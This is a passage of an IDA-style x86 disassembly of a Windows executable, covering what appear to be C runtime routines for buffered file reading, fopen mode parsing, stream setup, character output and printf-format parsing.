loc_41F798:				; CODE XREF: sub_41F6E3+9Fj
					; sub_41F6E3+A7j ...
		mov	ecx, [esi]
		dec	eax
		mov	[esi+4], eax
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41F7A6:				; CODE XREF: sub_41F6E3+55j
					; sub_41F6E3+5Aj
		neg	eax
		sbb	eax, eax
		and	eax, 10h
		add	eax, 10h
		or	[esi+0Ch], eax
		and	dword ptr [esi+4], 0


loc_41F7B7:				; CODE XREF: sub_41F6E3+Aj
					; sub_41F6E3+12j ...
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_41F6E3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F7BC	proc near		; CODE XREF: sub_41B78A+90p
					; sub_41F6E3+48p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		cmp	esi, dword_4DFA20
		jnb	loc_41F999
		mov	eax, esi
		and	esi, 1Fh
		sar	eax, 5
		shl	esi, 3
		lea	ebx, ds:4DF920h[eax*4]
		mov	eax, dword_4DF920[eax*4]
		add	eax, esi
		mov	dl, [eax+4]
		test	dl, 1
		jz	loc_41F999
		and	[ebp+var_8], 0
		mov	edi, [ebp+arg_4]
		cmp	[ebp+arg_8], 0
		mov	ecx, edi
		jz	short loc_41F871
		test	dl, 2
		jnz	short loc_41F871
		test	dl, 48h
		jz	short loc_41F831
		mov	al, [eax+5]
		cmp	al, 0Ah
		jz	short loc_41F831
		dec	[ebp+arg_8]
		mov	[edi], al
		mov	eax, [ebx]
		lea	ecx, [edi+1]
		mov	[ebp+var_8], 1
		mov	byte ptr [eax+esi+5], 0Ah


loc_41F831:				; CODE XREF: sub_41F7BC+56j
					; sub_41F7BC+5Dj
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		mov	eax, [ebx]
		push	[ebp+arg_8]
		push	ecx
		push	dword ptr [eax+esi]
		call	dword_4280EC	; ReadFile
		test	eax, eax
		jnz	short loc_41F884
		call	dword_428094	; RtlGetLastWin32Error
		push	5
		pop	ecx
		cmp	eax, ecx
		jnz	short loc_41F86C
		mov	dword_4DE5C4, 9
		mov	dword_4DE5C8, ecx
		jmp	loc_41F9AA
; ---------------------------------------------------------------------------


loc_41F86C:				; CODE XREF: sub_41F7BC+99j
		cmp	eax, 6Dh
		jnz	short loc_41F878


loc_41F871:				; CODE XREF: sub_41F7BC+4Cj
					; sub_41F7BC+51j
		xor	eax, eax
		jmp	loc_41F9AD
; ---------------------------------------------------------------------------


loc_41F878:				; CODE XREF: sub_41F7BC+B3j
		push	eax
		call	sub_420A7F
		pop	ecx
		jmp	loc_41F9AA
; ---------------------------------------------------------------------------


loc_41F884:				; CODE XREF: sub_41F7BC+8Cj
		mov	eax, [ebx]
		mov	edx, [ebp+var_C]
		add	[ebp+var_8], edx
		lea	ecx, [eax+esi+4]
		mov	al, [eax+esi+4]
		test	al, 80h
		jz	loc_41F994
		test	edx, edx
		jz	short loc_41F8A9
		cmp	byte ptr [edi],	0Ah
		jnz	short loc_41F8A9
		or	al, 4
		jmp	short loc_41F8AB
; ---------------------------------------------------------------------------


loc_41F8A9:				; CODE XREF: sub_41F7BC+E2j
					; sub_41F7BC+E7j
		and	al, 0FBh


loc_41F8AB:				; CODE XREF: sub_41F7BC+EBj
		mov	[ecx], al
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_8]
		mov	[ebp+arg_8], eax
		add	ecx, eax
		cmp	eax, ecx
		mov	[ebp+var_8], ecx
		jnb	loc_41F98E


loc_41F8C3:				; CODE XREF: sub_41F7BC+1BAj
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, 1Ah
		jz	loc_41F97E
		cmp	al, 0Dh
		jz	short loc_41F8DF
		mov	[edi], al
		inc	edi
		inc	[ebp+arg_8]
		jmp	loc_41F970
; ---------------------------------------------------------------------------


loc_41F8DF:				; CODE XREF: sub_41F7BC+116j
		dec	ecx
		cmp	[ebp+arg_8], ecx
		jnb	short loc_41F8FD
		mov	eax, [ebp+arg_8]
		inc	eax
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_41F8F4
		add	[ebp+arg_8], 2
		jmp	short loc_41F952
; ---------------------------------------------------------------------------


loc_41F8F4:				; CODE XREF: sub_41F7BC+130j
		mov	byte ptr [edi],	0Dh
		inc	edi
		mov	[ebp+arg_8], eax
		jmp	short loc_41F970
; ---------------------------------------------------------------------------


loc_41F8FD:				; CODE XREF: sub_41F7BC+127j
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		inc	[ebp+arg_8]
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		call	dword_4280EC	; ReadFile
		test	eax, eax
		jnz	short loc_41F925
		call	dword_428094	; RtlGetLastWin32Error
		test	eax, eax
		jnz	short loc_41F96C


loc_41F925:				; CODE XREF: sub_41F7BC+15Dj
		cmp	[ebp+var_C], 0
		jz	short loc_41F96C
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 48h
		jz	short loc_41F947
		mov	al, [ebp+var_1]
		cmp	al, 0Ah
		jz	short loc_41F952
		mov	byte ptr [edi],	0Dh
		mov	ecx, [ebx]
		inc	edi
		mov	[ecx+esi+5], al
		jmp	short loc_41F970
; ---------------------------------------------------------------------------


loc_41F947:				; CODE XREF: sub_41F7BC+176j
		cmp	edi, [ebp+arg_4]
		jnz	short loc_41F957
		cmp	[ebp+var_1], 0Ah
		jnz	short loc_41F957


loc_41F952:				; CODE XREF: sub_41F7BC+136j
					; sub_41F7BC+17Dj
		mov	byte ptr [edi],	0Ah
		jmp	short loc_41F96F
; ---------------------------------------------------------------------------


loc_41F957:				; CODE XREF: sub_41F7BC+18Ej
					; sub_41F7BC+194j
		push	1
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		call	sub_422DCB
		add	esp, 0Ch
		cmp	[ebp+var_1], 0Ah
		jz	short loc_41F970


loc_41F96C:				; CODE XREF: sub_41F7BC+167j
					; sub_41F7BC+16Dj
		mov	byte ptr [edi],	0Dh


loc_41F96F:				; CODE XREF: sub_41F7BC+199j
		inc	edi


loc_41F970:				; CODE XREF: sub_41F7BC+11Ej
					; sub_41F7BC+13Fj ...
		mov	ecx, [ebp+var_8]
		cmp	[ebp+arg_8], ecx
		jb	loc_41F8C3
		jmp	short loc_41F98E
; ---------------------------------------------------------------------------


loc_41F97E:				; CODE XREF: sub_41F7BC+10Ej
		mov	eax, [ebx]
		lea	esi, [eax+esi+4]
		mov	al, [esi]
		test	al, 40h
		jnz	short loc_41F98E
		or	al, 2
		mov	[esi], al


loc_41F98E:				; CODE XREF: sub_41F7BC+101j
					; sub_41F7BC+1C0j ...
		sub	edi, [ebp+arg_4]
		mov	[ebp+var_8], edi


loc_41F994:				; CODE XREF: sub_41F7BC+DAj
		mov	eax, [ebp+var_8]
		jmp	short loc_41F9AD
; ---------------------------------------------------------------------------


loc_41F999:				; CODE XREF: sub_41F7BC+12j
					; sub_41F7BC+39j
		and	dword_4DE5C8, 0
		mov	dword_4DE5C4, 9


loc_41F9AA:				; CODE XREF: sub_41F7BC+ABj
					; sub_41F7BC+C3j
		or	eax, 0FFFFFFFFh


loc_41F9AD:				; CODE XREF: sub_41F7BC+B7j
					; sub_41F7BC+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F7BC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F9B2	proc near		; CODE XREF: sub_41B872+126p
					; sub_41B872+24Bp ...

arg_0		= dword	ptr  4

		mov	eax, dword_4DE648
		test	eax, eax
		jz	short loc_41F9CA
		push	[esp+arg_0]
		call	eax
		test	eax, eax
		pop	ecx
		jz	short loc_41F9CA
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41F9CA:				; CODE XREF: sub_41F9B2+7j
					; sub_41F9B2+12j
		xor	eax, eax
		retn
sub_41F9B2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F9CD	proc near		; CODE XREF: sub_41BB12+17p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, dword_4DE7B4
		push	edi
		mov	edi, [ebp+arg_4]
		xor	ebx, ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	al, [edi]
		cmp	al, 61h
		jz	short loc_41FA06
		cmp	al, 72h
		jz	short loc_41F9FF
		cmp	al, 77h
		jnz	loc_41FB1A
		mov	ecx, 301h
		jmp	short loc_41FA0B
; ---------------------------------------------------------------------------


loc_41F9FF:				; CODE XREF: sub_41F9CD+21j
		xor	ecx, ecx
		or	esi, 1
		jmp	short loc_41FA0E
; ---------------------------------------------------------------------------


loc_41FA06:				; CODE XREF: sub_41F9CD+1Dj
		mov	ecx, 109h


loc_41FA0B:				; CODE XREF: sub_41F9CD+30j
		or	esi, 2


loc_41FA0E:				; CODE XREF: sub_41F9CD+37j
		push	1
		pop	edx


loc_41FA11:				; CODE XREF: sub_41F9CD+8Bj
					; sub_41F9CD+A0j ...
		mov	al, [edi+1]
		inc	edi
		cmp	al, bl
		jz	loc_41FB00
		cmp	edx, ebx
		jz	loc_41FB00
		movsx	eax, al
		cmp	eax, 54h
		jg	short loc_41FA9F
		jz	short loc_41FA8F
		sub	eax, 2Bh
		jz	short loc_41FA79
		sub	eax, 19h
		jz	short loc_41FA6F
		sub	eax, 0Eh
		jz	short loc_41FA5A
		dec	eax
		jnz	loc_41FAF1
		cmp	[ebp+var_4], ebx
		jnz	loc_41FAF1
		mov	[ebp+var_4], 1
		or	ecx, 20h
		jmp	short loc_41FA11
; ---------------------------------------------------------------------------


loc_41FA5A:				; CODE XREF: sub_41F9CD+6Fj
		cmp	[ebp+var_4], ebx
		jnz	loc_41FAF1
		mov	[ebp+var_4], 1
		or	ecx, 10h
		jmp	short loc_41FA11
; ---------------------------------------------------------------------------


loc_41FA6F:				; CODE XREF: sub_41F9CD+6Aj
		test	cl, 40h
		jnz	short loc_41FAF1
		or	ecx, 40h
		jmp	short loc_41FA11
; ---------------------------------------------------------------------------


loc_41FA79:				; CODE XREF: sub_41F9CD+65j
		test	cl, 2
		jnz	short loc_41FAF1
		and	ecx, 0FFFFFFFEh
		and	esi, 0FFFFFFFCh
		or	ecx, 2
		or	esi, 80h
		jmp	short loc_41FA11
; ---------------------------------------------------------------------------


loc_41FA8F:				; CODE XREF: sub_41F9CD+60j
		mov	eax, 1000h
		test	ecx, eax
		jnz	short loc_41FAF1
		or	ecx, eax
		jmp	loc_41FA11
; ---------------------------------------------------------------------------


loc_41FA9F:				; CODE XREF: sub_41F9CD+5Ej
		sub	eax, 62h
		jz	short loc_41FAEC
		dec	eax
		jz	short loc_41FAD5
		sub	eax, 0Bh
		jz	short loc_41FABE
		sub	eax, 6
		jnz	short loc_41FAF1
		test	ch, 0C0h
		jnz	short loc_41FAF1
		or	ch, 40h
		jmp	loc_41FA11
; ---------------------------------------------------------------------------


loc_41FABE:				; CODE XREF: sub_41F9CD+DDj
		cmp	[ebp+var_8], ebx
		jnz	short loc_41FAF1
		mov	[ebp+var_8], 1
		and	esi, 0FFFFBFFFh
		jmp	loc_41FA11
; ---------------------------------------------------------------------------


loc_41FAD5:				; CODE XREF: sub_41F9CD+D8j
		cmp	[ebp+var_8], ebx
		jnz	short loc_41FAF1
		mov	[ebp+var_8], 1
		or	esi, 4000h
		jmp	loc_41FA11
; ---------------------------------------------------------------------------


loc_41FAEC:				; CODE XREF: sub_41F9CD+D5j
		test	ch, 0C0h
		jz	short loc_41FAF8


loc_41FAF1:				; CODE XREF: sub_41F9CD+72j
					; sub_41F9CD+7Bj ...
		xor	edx, edx
		jmp	loc_41FA11
; ---------------------------------------------------------------------------


loc_41FAF8:				; CODE XREF: sub_41F9CD+122j
		or	ch, 80h
		jmp	loc_41FA11
; ---------------------------------------------------------------------------


loc_41FB00:				; CODE XREF: sub_41F9CD+4Aj
					; sub_41F9CD+52j
		push	1A4h
		push	[ebp+arg_8]
		push	ecx
		push	[ebp+arg_0]
		call	sub_4240FB
		mov	ecx, eax
		add	esp, 10h
		cmp	ecx, ebx
		jge	short loc_41FB1E


loc_41FB1A:				; CODE XREF: sub_41F9CD+25j
		xor	eax, eax
		jmp	short loc_41FB38
; ---------------------------------------------------------------------------


loc_41FB1E:				; CODE XREF: sub_41F9CD+14Bj
		mov	eax, [ebp+arg_C]
		inc	dword_4DE7B0
		mov	[eax+0Ch], esi
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], ebx
		mov	[eax+1Ch], ebx
		mov	[eax+10h], ecx


loc_41FB38:				; CODE XREF: sub_41F9CD+14Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F9CD	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FB3D	proc near		; CODE XREF: sub_41BB12p
		mov	edx, dword_4DF900
		push	ebx
		push	ebp
		push	esi
		xor	ebp, ebp
		xor	esi, esi
		xor	eax, eax
		cmp	edx, ebp
		push	edi
		jle	short loc_41FBAE
		mov	ebx, dword_4DE8E8
		mov	edi, ebx


loc_41FB59:				; CODE XREF: sub_41FB3D+2Ej
		mov	ecx, [edi]
		cmp	ecx, ebp
		jz	short loc_41FB74
		test	byte ptr [ecx+0Ch], 83h
		jz	short loc_41FB6F
		inc	eax
		add	edi, 4
		cmp	eax, edx
		jl	short loc_41FB59
		jmp	short loc_41FBAE
; ---------------------------------------------------------------------------


loc_41FB6F:				; CODE XREF: sub_41FB3D+26j
		mov	esi, [ebx+eax*4]
		jmp	short loc_41FB98
; ---------------------------------------------------------------------------


loc_41FB74:				; CODE XREF: sub_41FB3D+20j
		mov	edi, eax
		push	20h
		shl	edi, 2
		call	sub_41BB45
		pop	ecx
		mov	ecx, dword_4DE8E8
		mov	[edi+ecx], eax
		mov	eax, dword_4DE8E8
		mov	edi, [edi+eax]
		cmp	edi, ebp
		jz	short loc_41FBAE
		mov	esi, edi


loc_41FB98:				; CODE XREF: sub_41FB3D+35j
		cmp	esi, ebp
		jz	short loc_41FBAE
		or	dword ptr [esi+10h], 0FFFFFFFFh
		mov	[esi+4], ebp
		mov	[esi+0Ch], ebp
		mov	[esi+8], ebp
		mov	[esi], ebp
		mov	[esi+1Ch], ebp


loc_41FBAE:				; CODE XREF: sub_41FB3D+12j
					; sub_41FB3D+30j ...
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41FB3D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FBB5	proc near		; CODE XREF: sub_41BD5E+17p
					; sub_41BD5E+58p ...

var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		lea	ecx, [eax+1]
		cmp	ecx, 100h
		ja	short loc_41FBD3
		mov	ecx, off_43F618
		movzx	eax, word ptr [ecx+eax*2]
		jmp	short loc_41FC25
; ---------------------------------------------------------------------------


loc_41FBD3:				; CODE XREF: sub_41FBB5+10j
		mov	ecx, eax
		push	esi
		mov	esi, off_43F618
		sar	ecx, 8
		movzx	edx, cl
		test	byte ptr [esi+edx*2+1],	80h
		pop	esi
		jz	short loc_41FBF8
		and	[ebp+var_2], 0
		mov	[ebp+var_4], cl
		mov	[ebp+var_3], al
		push	2
		jmp	short loc_41FC01
; ---------------------------------------------------------------------------


loc_41FBF8:				; CODE XREF: sub_41FBB5+33j
		and	[ebp+var_3], 0
		mov	[ebp+var_4], al
		push	1


loc_41FC01:				; CODE XREF: sub_41FBB5+41j
		pop	eax
		lea	ecx, [ebp+arg_0+2]
		push	1
		push	0
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_4243B4
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_41FC21
		leave
		retn
; ---------------------------------------------------------------------------


loc_41FC21:				; CODE XREF: sub_41FBB5+68j
		movzx	eax, word ptr [ebp+arg_0+2]


loc_41FC25:				; CODE XREF: sub_41FBB5+1Cj
		and	eax, [ebp+arg_4]
		leave
		retn
sub_41FBB5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FC2A	proc near		; CODE XREF: sub_41BEF6+46p
					; sub_41BFF0+45p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [esi+0Ch]
		mov	ebx, [esi+10h]
		test	al, 82h
		jz	loc_41FD33
		test	al, 40h
		jnz	loc_41FD33
		test	al, 1
		jz	short loc_41FC62
		and	dword ptr [esi+4], 0
		test	al, 10h
		jz	loc_41FD33
		mov	ecx, [esi+8]
		and	al, 0FEh
		mov	[esi], ecx
		mov	[esi+0Ch], eax


loc_41FC62:				; CODE XREF: sub_41FC2A+20j
		mov	eax, [esi+0Ch]
		and	dword ptr [esi+4], 0
		and	[ebp+arg_4], 0
		and	al, 0EFh
		or	al, 2
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_41FC9C
		cmp	esi, offset dword_43FD28
		jz	short loc_41FC8A
		cmp	esi, offset dword_43FD48
		jnz	short loc_41FC95


loc_41FC8A:				; CODE XREF: sub_41FC2A+56j
		push	ebx
		call	sub_4244FD
		test	eax, eax
		pop	ecx
		jnz	short loc_41FC9C


loc_41FC95:				; CODE XREF: sub_41FC2A+5Ej
		push	esi
		call	sub_4240B7
		pop	ecx


loc_41FC9C:				; CODE XREF: sub_41FC2A+4Ej
					; sub_41FC2A+69j
		test	word ptr [esi+0Ch], 108h
		push	edi
		jz	short loc_41FD09
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		lea	ecx, [eax+1]
		mov	[esi], ecx
		mov	ecx, [esi+18h]
		dec	ecx
		test	edi, edi
		mov	[esi+4], ecx
		jle	short loc_41FCCC
		push	edi
		push	eax
		push	ebx
		call	sub_422FBD
		add	esp, 0Ch
		mov	[ebp+arg_4], eax
		jmp	short loc_41FCFF
; ---------------------------------------------------------------------------


loc_41FCCC:				; CODE XREF: sub_41FC2A+90j
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_41FCE7
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4DF920[eax*4]
		lea	eax, [eax+ecx*8]
		jmp	short loc_41FCEC
; ---------------------------------------------------------------------------


loc_41FCE7:				; CODE XREF: sub_41FC2A+A5j
		mov	eax, offset dword_43FC70


loc_41FCEC:				; CODE XREF: sub_41FC2A+BBj
		test	byte ptr [eax+4], 20h
		jz	short loc_41FCFF
		push	2
		push	0
		push	ebx
		call	sub_422DCB
		add	esp, 0Ch


loc_41FCFF:				; CODE XREF: sub_41FC2A+A0j
					; sub_41FC2A+C6j
		mov	eax, [esi+8]
		mov	cl, byte ptr [ebp+arg_0]
		mov	[eax], cl
		jmp	short loc_41FD1D
; ---------------------------------------------------------------------------


loc_41FD09:				; CODE XREF: sub_41FC2A+79j
		push	1
		lea	eax, [ebp+arg_0]
		pop	edi
		push	edi
		push	eax
		push	ebx
		call	sub_422FBD
		add	esp, 0Ch
		mov	[ebp+arg_4], eax


loc_41FD1D:				; CODE XREF: sub_41FC2A+DDj
		cmp	[ebp+arg_4], edi
		pop	edi
		jz	short loc_41FD29
		or	dword ptr [esi+0Ch], 20h
		jmp	short loc_41FD38
; ---------------------------------------------------------------------------


loc_41FD29:				; CODE XREF: sub_41FC2A+F7j
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh
		jmp	short loc_41FD3B
; ---------------------------------------------------------------------------


loc_41FD33:				; CODE XREF: sub_41FC2A+10j
					; sub_41FC2A+18j ...
		or	al, 20h
		mov	[esi+0Ch], eax


loc_41FD38:				; CODE XREF: sub_41FC2A+FDj
		or	eax, 0FFFFFFFFh


loc_41FD3B:				; CODE XREF: sub_41FC2A+107j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41FC2A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FD3F	proc near		; CODE XREF: sub_41BEF6+29p
					; sub_41BFF0+28p ...

var_248		= byte ptr -248h
var_247		= byte ptr -247h
var_49		= byte ptr -49h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 248h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+var_C], esi
		mov	[ebp+var_14], esi
		mov	[ebp+arg_4], edi
		jz	loc_420458
		mov	ecx, [ebp+var_10]
		xor	edx, edx
		jmp	short loc_41FD73
; ---------------------------------------------------------------------------


loc_41FD6B:				; CODE XREF: sub_41FD3F+713j
		mov	ecx, [ebp+var_10]
		mov	esi, [ebp+var_30]
		xor	edx, edx


loc_41FD73:				; CODE XREF: sub_41FD3F+2Aj
		cmp	[ebp+var_14], edx
		jl	loc_420458
		cmp	bl, 20h
		jl	short loc_41FD94
		cmp	bl, 78h
		jg	short loc_41FD94
		movsx	eax, bl
		mov	al, [eax+428724h]
		and	eax, 0Fh
		jmp	short loc_41FD96
; ---------------------------------------------------------------------------


loc_41FD94:				; CODE XREF: sub_41FD3F+40j
					; sub_41FD3F+45j
		xor	eax, eax


loc_41FD96:				; CODE XREF: sub_41FD3F+53j
		movsx	eax, byte_428744[esi+eax*8]
		sar	eax, 4
		cmp	eax, 7		; switch 8 cases
		mov	[ebp+var_30], eax
		ja	loc_420447	; default
		jmp	off_420460[eax*4] ; switch jump


loc_41FDB4:				; DATA XREF: .XPack0:off_420460o
		or	[ebp+var_10], 0FFFFFFFFh ; jumptable 0041FDAD case 1
		mov	[ebp+var_34], edx
		mov	[ebp+var_28], edx
		mov	[ebp+var_20], edx
		mov	[ebp+var_1C], edx
		mov	[ebp+var_4], edx
		mov	[ebp+var_24], edx
		jmp	loc_420447	; default
; ---------------------------------------------------------------------------


loc_41FDCF:				; CODE XREF: sub_41FD3F+6Ej
					; DATA XREF: .XPack0:off_420460o
		movsx	eax, bl		; jumptable 0041FDAD case 2
		sub	eax, 20h
		jz	short loc_41FE12
		sub	eax, 3
		jz	short loc_41FE09
		sub	eax, 8
		jz	short loc_41FE00
		dec	eax
		dec	eax
		jz	short loc_41FDF7
		sub	eax, 3
		jnz	loc_420447	; default
		or	[ebp+var_4], 8
		jmp	loc_420447	; default
; ---------------------------------------------------------------------------


loc_41FDF7:				; CODE XREF: sub_41FD3F+A4j
		or	[ebp+var_4], 4
		jmp	loc_420447	; default
; ---------------------------------------------------------------------------


loc_41FE00:				; CODE XREF: sub_41FD3F+A0j
		or	[ebp+var_4], 1
		jmp	loc_420447	; default
; ---------------------------------------------------------------------------


loc_41FE09:				; CODE XREF: sub_41FD3F+9Bj
		or	byte ptr [ebp+var_4], 80h
		jmp	loc_420447	; default
; ---------------------------------------------------------------------------


loc_41FE12:				; CODE XREF: sub_41FD3F+96j
		or	[ebp+var_4], 2
		jmp	loc_420447	; default
; ---------------------------------------------------------------------------


loc_41FE1B:				; CODE XREF: sub_41FD3F+6Ej
					; DATA XREF: .XPack0:off_420460o
		cmp	bl, 2Ah		; jumptable 0041FDAD case 3
		jnz	short loc_41FE43
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_42051E
		test	eax, eax
		pop	ecx
		mov	[ebp+var_20], eax
		jge	loc_420447	; default
		or	[ebp+var_4], 4
		neg	eax


loc_41FE3B:				; CODE XREF: sub_41FD3F+111j
		mov	[ebp+var_20], eax
		jmp	loc_420447	; default
; ---------------------------------------------------------------------------


loc_41FE43:				; CODE XREF: sub_41FD3F+DFj
		mov	eax, [ebp+var_20]
		movsx	ecx, bl
		lea	eax, [eax+eax*4]
		lea	eax, [ecx+eax*2-30h]
		jmp	short loc_41FE3B
; ---------------------------------------------------------------------------


loc_41FE52:				; CODE XREF: sub_41FD3F+6Ej
					; DATA XREF: .XPack0:off_420460o
		mov	[ebp+var_10], edx ; jumptable 0041FDAD case 4
		jmp	loc_420447	; default
; ---------------------------------------------------------------------------


loc_41FE5A:				; CODE XREF: sub_41FD3F+6Ej
					; DATA XREF: .XPack0:off_420460o
		cmp	bl, 2Ah		; jumptable 0041FDAD case 5
		jnz	short loc_41FE7D
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_42051E
		test	eax, eax
		pop	ecx
		mov	[ebp+var_10], eax
		jge	loc_420447	; default
		or	[ebp+var_10], 0FFFFFFFFh
		jmp	loc_420447	; default
; ---------------------------------------------------------------------------


loc_41FE7D:				; CODE XREF: sub_41FD3F+11Ej
		lea	eax, [ecx+ecx*4]
		movsx	ecx, bl
		lea	eax, [ecx+eax*2-30h]
		mov	[ebp+var_10], eax
		jmp	loc_420447	; default
; ---------------------------------------------------------------------------


loc_41FE8F:				; CODE XREF: sub_41FD3F+6Ej
					; DATA XREF: .XPack0:off_420460o
		cmp	bl, 49h		; jumptable 0041FDAD case 6
		jz	short loc_41FEC2
		cmp	bl, 68h
		jz	short loc_41FEB9
		cmp	bl, 6Ch
		jz	short loc_41FEB0
		cmp	bl, 77h
		jnz	loc_420447	; default
		or	byte ptr [ebp+var_4+1],	8
		jmp	loc_420447	; default
; ---------------------------------------------------------------------------


loc_41FEB0:				; CODE XREF: sub_41FD3F+15Dj
		or	[ebp+var_4], 10h
		jmp	loc_420447	; default
; ---------------------------------------------------------------------------


loc_41FEB9:				; CODE XREF: sub_41FD3F+158j
		or	[ebp+var_4], 20h
		jmp	loc_420447	; default
; ---------------------------------------------------------------------------


loc_41FEC2:				; CODE XREF: sub_41FD3F+153j
		cmp	byte ptr [edi],	36h
		jnz	short loc_41FEDB
		cmp	byte ptr [edi+1], 34h
		jnz	short loc_41FEDB
		inc	edi
		inc	edi
		or	byte ptr [ebp+var_4+1],	80h
		mov	[ebp+arg_4], edi
		jmp	loc_420447	; default
; ---------------------------------------------------------------------------


loc_41FEDB:				; CODE XREF: sub_41FD3F+186j
					; sub_41FD3F+18Cj
		mov	[ebp+var_30], edx


loc_41FEDE:				; CODE XREF: sub_41FD3F+6Ej
					; DATA XREF: .XPack0:off_420460o
		mov	ecx, off_43F618	; jumptable 0041FDAD case 0
		mov	[ebp+var_24], edx
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41FF0A
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_420480
		mov	bl, [edi]
		add	esp, 0Ch
		inc	edi
		mov	[ebp+arg_4], edi


loc_41FF0A:				; CODE XREF: sub_41FD3F+1B0j
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_420480
		add	esp, 0Ch
		jmp	loc_420447	; default
; ---------------------------------------------------------------------------


loc_41FF22:				; CODE XREF: sub_41FD3F+6Ej
					; DATA XREF: .XPack0:off_420460o
		movsx	eax, bl		; jumptable 0041FDAD case 7
		cmp	eax, 67h
		jg	loc_42014A
		cmp	eax, 65h
		jge	loc_41FFCD
		cmp	eax, 58h
		jg	loc_42002B
		jz	loc_4201BE
		sub	eax, 43h
		jz	loc_41FFEE
		dec	eax
		dec	eax
		jz	short loc_41FFC3
		dec	eax
		dec	eax
		jz	short loc_41FFC3
		sub	eax, 0Ch
		jnz	loc_420349
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_41FF6C
		or	byte ptr [ebp+var_4+1],	8


loc_41FF6C:				; CODE XREF: sub_41FD3F+227j
					; sub_41FD3F+42Aj
		mov	esi, [ebp+var_10]
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41FF79
		mov	esi, 7FFFFFFFh


loc_41FF79:				; CODE XREF: sub_41FD3F+233j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_42051E
		test	word ptr [ebp+var_4], 810h
		pop	ecx
		mov	ecx, eax
		mov	[ebp+var_8], ecx
		jz	loc_420192
		test	ecx, ecx
		jnz	short loc_41FFA1
		mov	ecx, off_43F834
		mov	[ebp+var_8], ecx


loc_41FFA1:				; CODE XREF: sub_41FD3F+257j
		mov	[ebp+var_24], 1
		mov	eax, ecx


loc_41FFAA:				; CODE XREF: sub_41FD3F+282j
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	loc_420189
		cmp	word ptr [eax],	0
		jz	loc_420189
		inc	eax
		inc	eax
		jmp	short loc_41FFAA
